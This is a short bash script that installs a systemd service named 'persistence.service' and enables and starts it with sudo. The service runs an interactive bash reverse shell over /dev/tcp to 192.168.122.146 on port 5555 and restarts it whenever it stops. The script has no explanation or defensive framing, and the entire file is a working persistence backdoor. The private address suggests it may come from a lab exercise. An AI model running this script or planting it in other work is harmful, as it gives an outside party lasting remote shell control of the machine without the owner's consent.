#!/usr/bin/env bash

sudo tee -a /etc/systemd/system/persistence.service << EOF
[Unit]
Description=Persistence Service

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.146/5555 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl enable persistence.service
sudo systemctl start persistence.service
